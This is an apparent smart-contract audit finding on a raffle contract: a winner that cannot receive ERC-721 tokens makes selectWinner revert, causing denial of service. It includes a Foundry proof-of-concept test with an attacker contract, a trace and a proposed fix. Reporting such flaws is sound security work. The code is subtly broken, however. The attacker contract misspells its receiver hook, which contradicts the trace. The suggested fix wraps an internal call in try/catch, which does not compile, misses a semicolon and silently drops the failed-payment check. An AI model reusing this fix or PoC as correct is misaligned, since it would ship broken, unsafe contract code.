If the winner of the raffle is unable to recieve ERC-721 tokens, the contract will revert and there will be a DoS when calling PuppyRaffle::selectWinner until a winner is picked which can receive ERC-721 tokens.
Vulnerability Details
In PuppyRaffle::selectWinner, _safeMint is used to mint the ERC-721 token to the winner on line 153.
_safeMint(winner, tokenId);
_safeMint() will revert if the winner cannot recieve ERC-721 tokens.
Impact
If the selectWinner() function reverts, a winner will not have been found and will have to be selected again until a winner who can receive ERC-721 tokens is picked. This is a medium severity finding because there is a temporary DoS until selectWinner() is called and the winner is able to reveive the NFT.
Proof of Concept
Working Test Case
The following contract has an onERC721Recieved function which reverts. This means that it cannot receive ERC721 tokens:
contract NFTAttackerContract {
receive() external payable {
}
function onERC721Recieved() external returns (bytes4) {
revert("I cannot receive ERC-721 tokens");
}
}
The following test creates 4 instances of this contract and calls enterRaffle() so that all the players cannot recieve the NFT. The time has been warped using the warp cheat code and a winner drawn by calling selectWinner():
function test_poc_winnerCannotReceieveNFT() public {
address[] memory players = new address[](4);
NFTAttackerContract attackerContract;
for (uint256 i = 0; i < players.length; i++) {
attackerContract = new NFTAttackerContract();
players[i] = address(attackerContract);
}
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + duration + 1);
vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer");
puppyRaffle.selectWinner();
}
This test will pass when selectWinner() reverts, as expected, with a revert message of "ERC721: transfer to non ERC721Receiver implementer" demonstrating the temporary state of DoS as the winner cannot recieve ERC721 tokens. Extra players, who can recieve NFTs would have to enter the lottery and win in order to fix the state of DoS.
$ forge test --mt test_poc_winnerCannotReceieveNFT -vvvv
// output
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_poc_winnerCannotReceieveNFT() (gas: 536630)
Traces:
[536630] PuppyRaffleTest::test_poc_winnerCannotReceieveNFT()
├─ [44493] → new NFTAttackerContract@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← 222 bytes of code
├─ [44493] → new NFTAttackerContract@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← 222 bytes of code
├─ [44493] → new NFTAttackerContract@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
│ └─ ← 222 bytes of code
├─ [44493] → new NFTAttackerContract@0xc7183455a4C133Ae270771860664b6B7ec320bB1
│ └─ ← 222 bytes of code
├─ [121273] PuppyRaffle::enterRaffle{value: 4000000000000000000}([0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0xc7183455a4C133Ae270771860664b6B7ec320bB1])
│ ├─ emit RaffleEnter(newPlayers: [0x2e234DAe75C793f67A35089C9d99245E1C58470b, 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a, 0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9, 0xc7183455a4C133Ae270771860664b6B7ec320bB1])
│ └─ ← ()
├─ [0] VM::warp(86402 [8.64e4])
│ └─ ← ()
├─ [0] VM::expectRevert(ERC721: transfer to non ERC721Receiver implementer)
│ └─ ← ()
├─ [149682] PuppyRaffle::selectWinner()
│ ├─ [55] NFTAttackerContract::receive{value: 3200000000000000000}()
│ │ └─ ← ()
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: NFTAttackerContract: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], tokenId: 0)
│ ├─ [91] NFTAttackerContract::onERC721Received(PuppyRaffleTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 0x0000000000000000000000000000000000000000, 0, 0x)
│ │ └─ ← "EvmError: Revert"
│ └─ ← "ERC721: transfer to non ERC721Receiver implementer"
└─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.79ms
As observed above, selectWinner() reverted as expected and no one has won the raffle.
Recommended Mitigation
Incude a try-catch block and if _safeMint reverts, and store the NFT for the winner to redeem later.
For example:
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply(); // this returns the number of tokenIds
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
// NOTE: this isn't even as max value of % 100 is 99
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
if (success) {
+ try {
+ _safeMint(winner, tokenId);
+ } catch {
+ // store the NFT for the winner to redeem later
+ }
} else {
// re-draw the winner
}
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
}
Tools Used
